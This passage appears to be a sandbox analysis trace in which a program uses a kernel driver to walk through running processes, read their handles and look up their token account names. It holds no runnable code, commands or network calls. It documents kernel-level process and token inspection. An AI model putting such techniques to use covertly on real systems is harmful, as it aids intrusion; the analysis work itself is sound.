lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x78, lpOverlapped=0x0) returned 1 [0074.164] PsLookupProcessByProcessId (in: ProcessId=0x970, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0074.164] PsAcquireProcessExitSynchronization () returned 0x0 [0074.164] KeStackAttachProcess (in: PROCESS=0xfffffa800205a7d0, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800205a7d0, ApcState=0xfffff880054f85d0) [0074.164] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800206a400, HandleInformation=0x0) returned 0x0 [0074.164] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0074.164] PsReleaseProcessExitSynchronization () returned 0x2 [0074.164] ObfDereferenceObject (Object=0xfffffa800205a7d0) returned 0x10 [0074.164] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800385f044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa800385f044, ReturnLength=0xfffff880054f8508) returned 0x0 [0074.164] ObfDereferenceObject (Object=0xfffffa800206a400) returned 0x1 [0074.164] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0074.164] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0074.164] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0074.164] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0074.164] PsLookupProcessByProcessId (in: ProcessId=0x970, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0074.164] PsAcquireProcessExitSynchronization () returned 0x0 [0074.164] KeStackAttachProcess (in: PROCESS=0xfffffa800205a7d0, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800205a7d0, ApcState=0xfffff880054f85d0) [0074.164] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0074.164] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0074.165] PsReleaseProcessExitSynchronization () returned 0x2 [0074.165] ObfDereferenceObject (Object=0xfffffa800205a7d0) returned 0x10 [0074.165] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa80038a0044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038a0044, ReturnLength=0xfffff880054f8550) returned 0x0 [0074.165] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4e [0074.165] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0074.165] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0074.165] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x980) returned 0xc0 [0074.165] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0074.165] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff880054f8668, HandleInformation=0x0 | out: Object=0xfffff880054f8668*=0xfffffa8002087b30, HandleInformation=0x0) returned 0x0 [0074.165] ObOpenObjectByPointer (in: Object=0xfffffa8002087b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff880054f8670 | out: Handle=0xfffff880054f8670*=0xffffffff80000a24) returned 0x0 [0074.165] ObfDereferenceObject (Object=0xfffffa8002087b30) returned 0x12 [0074.165] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000a24, DesiredAccess=0x8, TokenHandle=0xfffffa80036ac6c0 | out: TokenHandle=0xfffffa80036ac6c0*=0xc8) returned 0x0 [0074.165] ZwClose (Handle=0xffffffff80000a24) returned 0x0 [0074.165] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0074.165] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0074.165] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0074.166] CloseHandle (hObject=0xc8) returned 1 [0074.166] CloseHandle (hObject=0xc0) returned 1 [0074.166] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0074.166] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0074.167] PsLookupProcessByProcessId (in: ProcessId=0x980, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0074.167] PsAcquireProcessExitSynchronization () returned 0x0 [0074.167] KeStackAttachProcess (in: PROCESS=0xfffffa8002087b30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002087b30, ApcState=0xfffff880054f85d0) [0074.167] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002085ae0, HandleInformation=0x0) returned 0x0 [0074.167] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0074.167] PsReleaseProcessExitSynchronization () returned 0x2 [0074.167] ObfDereferenceObject (Object=0xfffffa8002087b30) returned 0x10 [0074.167] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80038c9044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80038c9044, ReturnLength=0xfffff880054f8508) returned 0x0 [0074.167] ObfDereferenceObject (Object=0xfffffa8002085ae0) returned 0x1 [0074.167] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0074.167] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0074.167] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0074.167] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x92, lpOverlapped=0x0) returned 1 [0074.167] PsLookupProcessByProcessId (in: ProcessId=0x980, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0074.167] PsAcquireProcessExitSynchronization () returned 0x0 [0074.167] KeStackAttachProcess (in: PROCESS=0xfffffa8002087b30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002087b30, ApcState=0xfffff880054f85d0) [0074.167] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80020dd640, HandleInformation=0x0) returned 0x0 [0074.167] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0074.167] PsReleaseProcessExitSynchronization () returned 0x2 [0074.167] ObfDereferenceObject (Object=0xfffffa8002087b30) returned 0x10 [0074.167] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80038d3044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80038d3044, ReturnLength=0xfffff880054f8508) returned 0x0 [0074.167] ObfDereferenceObject (Object=0xfffffa80020dd640) returned 0x1 [0074.167] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0074.167] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0074.167] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0074.167] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0074.167] PsLookupProcessByProcessId (in: ProcessId=0x980, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0074.167] PsAcquireProcessExitSynchronization () returned 0x0 [0074.167] KeStackAttachProcess (in: PROCESS=0xfffffa8002087b30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002087b30, ApcState=0xfffff880054f85d0) [0074.168] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0074.168] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0074.168] PsReleaseProcessExitSynchronization () returned 0x2 [0074.168] ObfDereferenceObject (Object=0xfffffa8002087b30) returned 0x10 [0074.168] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa80038e2044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038e2044, ReturnLength=0xfffff880054f8550) returned 0x0 [0074.168] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4e [0074.168] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0074.168] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0074.168] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x990) returned 0xc0 [0074.168] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0074.168] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff880054f8668, HandleInformation=0x0 | out: Object=0xfffff880054f8668*=0xfffffa800208db30, HandleInformation=0x0) returned 0x0 [0074.168] ObOpenObjectByPointer (in: Object=0xfffffa800208db30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff880054f8670 | out: Handle=0xfffff880054f8670*=0xffffffff80000a24) returned 0x0 [0074.168] ObfDereferenceObject (Object=0xfffffa800208db30) returned 0x12 [0074.168] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000a24, DesiredAccess=0x8, TokenHandle=0xfffffa80036ac6c0 | out: TokenHandle=0xfffffa80036ac6c0*=0xc8) returned 0x0 [0074.168] ZwClose (Handle=0xffffffff80000a24) returned 0x0 [0074.168] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0074.168] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0074.168] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0074.169] CloseHandle (hObject=0xc8) returned 1 [0074.169] CloseHandle (hObject=0xc0) returned 1 [0074.170] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0074.170] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0074.170] PsLookupProcessByProcessId (in: ProcessId=0x990, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0074.170] PsAcquireProcessExitSynchronization () returned 0x0 [0074.170] KeStackAttachProcess (in: PROCESS=0xfffffa800208db30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800208db30, ApcState=0xfffff880054f85d0) [0074.170] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8001fce180, HandleInformation=0x0) returned 0x0 [0074.170] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0074.170] PsReleaseProcessExitSynchronization () returned 0x2 [0074.170] ObfDereferenceObject (Object=0xfffffa800208db30) returned 0x10 [0074.170] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80038e3044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80038e3044, ReturnLength=0xfffff880054f8508) returned 0x0 [0074.170] ObfDereferenceObject (Object=0xfffffa8001fce180) returned 0x1 [0074.170] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0074.170] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0074.170] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0074.170] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x80, lpOverlapped=0x0) returned 1 [0074.170] PsLookupProcessByProcessId (in: ProcessId=0x990, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0074.170] PsAcquireProcessExitSynchronization () returned 0x0 [0074.170] KeStackAttachProcess (in: PROCESS=0xfffffa800208db30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800208db30, ApcState=0xfffff880054f85d0) [0074.170] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800208d070, HandleInformation=0x0) returned 0x0 [0074.170] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0074.170] PsReleaseProcessExitSynchronization () returned 0x2 [0074.170] ObfDereferenceObject (Object=0xfffffa800208db30) returned 0x10 [0074.170] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80038e4044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80038e4044, ReturnLength=0xfffff880054f8508) returned 0x0 [0074.170] ObfDereferenceObject (Object=0xfffffa800208d070) returned 0x1 [0074.170] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0074.170] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0074.170] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0074.170] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0074.171] PsLookupProcessByProcessId (in: ProcessId=0x990, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0074.171] PsAcquireProcessExitSynchronization () returned 0x0 [0074.171] KeStackAttachProcess (in: PROCESS=0xfffffa800208db30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800208db30, ApcState=0xfffff880054f85d0) [0074.171] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0074.171] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0074.171] PsReleaseProcessExitSynchronization () returned 0x2 [0074.171] ObfDereferenceObject (Object=0xfffffa800208db30) returned 0x10 [0074.171] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa80038f0044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038f0044, ReturnLength=0xfffff880054f8550) returned 0x0 [0074.171] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4e [0074.171] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0074.171] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0074.171] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x9a0) returned 0xc0 [0074.171] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0074.171] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff880054f8668, HandleInformation=0x0 | out: Object=0xfffff880054f8668*=0xfffffa80020222d0, HandleInformation=0x0) returned 0x0 [0074.171] ObOpenObjectByPointer (in: Object=0xfffffa80020222d0, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff880054f8670 | out: Handle=0xfffff880054f8670*=0xffffffff80000a24) returned 0x0 [0074.171] ObfDereferenceObject (Object=0xfffffa80020222d0) returned 0x12 [0074.171] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000a24, DesiredAccess=0x8, TokenHandle=0xfffffa80036ac6c0 | out: TokenHandle=0xfffffa80036ac6c0*=0xc8) returned 0x0 [0074.171] ZwClose (Handle=0xffffffff80000a24) returned 0x0 [0074.171] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0074.171] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0074.171] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0074.721] CloseHandle (hObject=0xc8) returned 1 [0074.721] CloseHandle (hObject=0xc0) returned 1 [0074.722] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0074.722] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0074.722] PsLookupProcessByProcessId (in: ProcessId=0x9a0, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0074.722] PsAcquireProcessExitSynchronization () returned 0x0 [0074.722] KeStackAttachProcess (in: PROCESS=0xfffffa80020222d0, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80020222d0, ApcState=0xfffff880054f85d0) [0074.722] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002022c00, HandleInformation=0x0) returned 0x0 [0074.722] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0074.722] PsReleaseProcessExitSynchronization () returned 0x2 [0074.722] ObfDereferenceObject (Object=0xfffffa80020222d0) returned 0x10 [0074.722] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800398a044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa800398a044, ReturnLength=0xfffff880054f8508) returned 0x0 [0074.722] ObfDereferenceObject (Object=0xfffffa8002022c00) returned 0x1 [0074.722] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0074.722] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0074.722] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0074.722] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x6e, lpOverlapped=0x0) returned 1 [0074.722] PsLookupProcessByProcessId (in: ProcessId=0x9a0, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0074.722] PsAcquireProcessExitSynchronization () returned 0x0 [0074.722] KeStackAttachProcess (in: PROCESS=0xfffffa80020222d0, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80020222d0, ApcState=0xfffff880054f85d0) [0074.722] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800202d760, HandleInformation=0x0) returned 0x0 [0074.722] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0074.722] PsReleaseProcessExitSynchronization () returned 0x2 [0074.722] ObfDereferenceObject (Object=0xfffffa80020222d0) returned 0x10 [0074.722] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800396c044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa800396c044, ReturnLength=0xfffff880054f8508) returned 0x0 [0074.722] ObfDereferenceObject (Object=0xfffffa800202d760) returned 0x1 [0074.722] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0074.722] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0074.722] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0074.722] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0074.723] PsLookupProcessByProcessId (in: ProcessId=0x9a0, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0074.723] PsAcquireProcessExitSynchronization () returned 0x0 [0074.723] KeStackAttachProcess (in: PROCESS=0xfffffa80020222d0, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80020222d0, ApcState=0xfffff880054f85d0) [0074.723] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0074.723] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0074.723] PsReleaseProcessExitSynchronization () returned 0x2 [0074.723] ObfDereferenceObject (Object=0xfffffa80020222d0) returned 0x10 [0074.723] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa80037b5684, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80037b5684, ReturnLength=0xfffff880054f8550) returned 0x0 [0074.723] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4e [0074.723] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0074.723] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0074.723] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x9b0) returned 0xc0 [0074.723] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0074.723] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff880054f8668, HandleInformation=0x0 | out: Object=0xfffff880054f8668*=0xfffffa8002049740, HandleInformation=0x0) returned 0x0 [0074.723] ObOpenObjectByPointer (in: Object=0xfffffa8002049740, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff880054f8670 | out: Handle=0xfffff880054f8670*=0xffffffff80000a98) returned 0x0 [0074.723] ObfDereferenceObject (Object=0xfffffa8002049740) returned 0x12 [0074.723] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000a98, DesiredAccess=0x8, TokenHandle=0xfffffa8002007b40 | out: 